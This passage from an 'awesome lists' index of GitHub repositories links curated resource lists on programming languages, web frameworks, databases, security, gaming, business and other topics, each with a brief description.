[AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/ooade/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games. - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - 